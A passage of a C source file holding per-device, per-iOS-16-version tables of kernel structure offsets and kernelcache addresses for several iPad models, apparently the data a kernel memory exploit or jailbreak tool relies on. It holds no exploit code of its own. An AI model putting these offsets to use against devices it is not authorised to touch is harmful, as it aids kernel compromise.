0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.5\n        {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:36 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,4\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa81288,\n            .kernelcache__gPhysBase = 0xfffffe0007a8c100,\n            .kernelcache__gPhysSize = 0xfffffe0007a8c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a8a2d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aabf520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d9214,\n            .kernelcache__ptov_table = 0xfffffe00079d7180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aabe990,\n            .kernelcache__vm_pages = 0xfffffe00079d3ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d6130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aabe988,\n            .kernelcache__vn_kqfilter = 0xfffffe0008125d84,\n        },\n\n\n    // iPad Pro 11 4th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:34 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a989190,\n            .kernelcache__gPhysBase = 0xfffffe00079a80c8,\n            .kernelcache__gPhysSize = 0xfffffe00079a80c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a62a8,\n            .kernelcache__perfmon_devices = 0xfffffe000a9c43b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcdd0,\n            .kernelcache__ptov_table = 0xfffffe00078f3370,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9c3800,\n            .kernelcache__vm_pages = 0xfffffe00078f0098,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2330,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9c37f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cdf8,\n        },\n\n        // iOS 16.3\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.3.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:23:25 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x648,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x420,\n            .thread__object_size = 0x4c8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000a99d190,\n            .kernelcache__gPhysBase = 0xfffffe00079a81b0,\n            .kernelcache__gPhysSize = 0xfffffe00079a81b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe00079a6390,\n            .kernelcache__perfmon_devices = 0xfffffe000a9d83b0,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080bcc60,\n            .kernelcache__ptov_table = 0xfffffe00078f33b0,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000a9d7800,\n            .kernelcache__vm_pages = 0xfffffe00078f00d8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00078f2370,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000a9d77f8,\n            .kernelcache__vn_kqfilter = 0xfffffe000810cc88,\n        },\n\n        // iOS 16.4\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.4.1\n        {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:28 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa75208,\n            .kernelcache__gPhysBase = 0xfffffe0007a87fc0,\n            .kernelcache__gPhysSize = 0xfffffe0007a87fc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a86198,\n            .kernelcache__perfmon_devices = 0xfffffe000aab3520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d4fa4,\n            .kernelcache__ptov_table = 0xfffffe00079d3180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aab2990,\n            .kernelcache__vm_pages = 0xfffffe00079cfec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d2130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aab2988,\n            .kernelcache__vn_kqfilter = 0xfffffe000812187c,\n        },\n\n        // iOS 16.5\n        {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:36 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad14,5\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x640,\n            .thread__task_threads__next = 0x380 - 0x18,\n            .thread__task_threads__prev = 0x380 - 0x18 + 8,\n            .thread__map = 0x380,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffe0007004000,\n            .kernelcache__cdevsw = 0xfffffe000aa81288,\n            .kernelcache__gPhysBase = 0xfffffe0007a8c100,\n            .kernelcache__gPhysSize = 0xfffffe0007a8c100 + 8,\n            .kernelcache__gVirtBase = 0xfffffe0007a8a2d8,\n            .kernelcache__perfmon_devices = 0xfffffe000aabf520,\n            .kernelcache__perfmon_dev_open = 0xfffffe00080d9214,\n            .kernelcache__ptov_table = 0xfffffe00079d7180,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffe000aabe990,\n            .kernelcache__vm_pages = 0xfffffe00079d3ec0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffe00079d6130,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffe000aabe988,\n            .kernelcache__vn_kqfilter = 0xfffffe0008125d84,\n        },\n\n\n    // iPad Pro 11 4th //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:34 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8112\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad14,6\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 